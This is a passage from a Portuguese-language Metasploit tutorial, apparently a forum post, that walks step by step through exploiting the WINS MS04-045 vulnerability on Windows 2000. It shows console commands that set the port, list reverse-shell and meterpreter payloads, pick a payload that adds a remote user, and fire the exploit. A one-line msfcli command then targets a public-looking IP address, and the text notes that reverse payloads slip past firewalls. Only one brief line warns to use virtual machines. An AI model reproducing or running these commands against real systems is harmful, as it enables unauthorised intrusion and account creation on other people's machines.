200.126.35.34msf wins_ms04_04>msf wins_ms04_045 > set RPORT 42RPORT -> 42msf wins_ms04_045 >Vejam que utilizei a mesma porta que o valor por default...Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais e que um software acoplado ao exploit para fazer as mais variadas tarefas.Digitamos entao o comando para saber os payloads suportados pelo nosso exploit: show payloadsCodigo :msf wins_ms04_045 > show payloadsMetasploit Framework Usable Payloads====================================win32_adduser Windows Execute net user /ADDwin32_bind Windows Bind Shellwin32_bind_dllinject Windows Bind DLL Injectwin32_bind_meterpreter Windows Bind Meterpreter DLL Injectwin32_bind_stg Windows Staged Bind Shellwin32_bind_stg_upexec Windows Staged Bind Upload/Executewin32_bind_vncinject Windows Bind VNC Server DLL Injectwin32_exec Windows Execute Commandwin32_passivex Windows PassiveX ActiveX Injection Payloadwin32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payloadwin32_passivex_stg Windows Staged PassiveX Shellwin32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payloadwin32_reverse Windows Reverse Shellwin32_reverse_dllinject Windows Reverse DLL Injectwin32_reverse_meterpreter Windows Reverse Meterpreter DLL Injectwin32_reverse_ord Windows Staged Reverse Ordinal Shellwin32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Injectwin32_reverse_stg Windows Staged Reverse Shellwin32_reverse_stg_upexec Windows Staged Reverse Upload/Executewin32_reverse_vncinject Windows Reverse VNC Server Injectmsf wins_ms04_045 >Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje ja ha payloads para tudo e todos os SO s... ate uma shell especial para cracking que e o meterpreter) O meterpreter e um complexo payload que e uma especia de shell especial para cracking, com funcionalidades especificas para isso. Algo que ja falei bastante tambem.Documento onde e detalhado tecnicamente o meterpreter:http://www.nologin.org/Downloads/Papers/meterpreter.pdfCaso queiram usar o meterpreter, na seleccao do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessao no alvo, com o meterpreter e como e reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede e confiavel.Assim:Codigo :msf wins_ms04_045 > set PAYLOAD win32_adduser joliePAYLOAD win32_adduser -> joliemsf wins_ms04_045>Vamos agora listar os sistemas operativos que serao os alvos: Utilizando o velho comando : show, so que agora assim: show targetsCodigo :msf wins_ms04_045 > show targetsSupported Exploit Targets=========================0 Windows 2000 Englishmsf wins_ms04_045 >So temos uma opcao aqui, somente o windows 2000 em ingles e vulneravel, mas tudo bem...msf wins_ms04_045 > set TARGET 0TARGET -> 0msf wins_ms04_045 >tamos mesmo, mesmo, mesmo a um tirinho de cacadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que e mais um pacote exploit (conjunto de varias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.Digite somente: exploit (lindo nao? Isto e disparar o exploit em direccao ao alvo. ATENCAO. So usar alvos virutais ou maquinas vocasCodigo :msf wins_ms04_045 > exploitE pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.O msfcli e utilizado para poder fazer tudo de uma so vez. Nao precisando do passo a passo descrito acima. Se nos ja conhecemos o exploit isto agilizamuito o nosso trabalho na linha de comando digitamos assim:Codigo :[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 Ee vejam que faz a mesma coisa que no modo console.Caso o exploit se direcione a um servico sem previlegios especiais pode-se usar um exploit local para escalar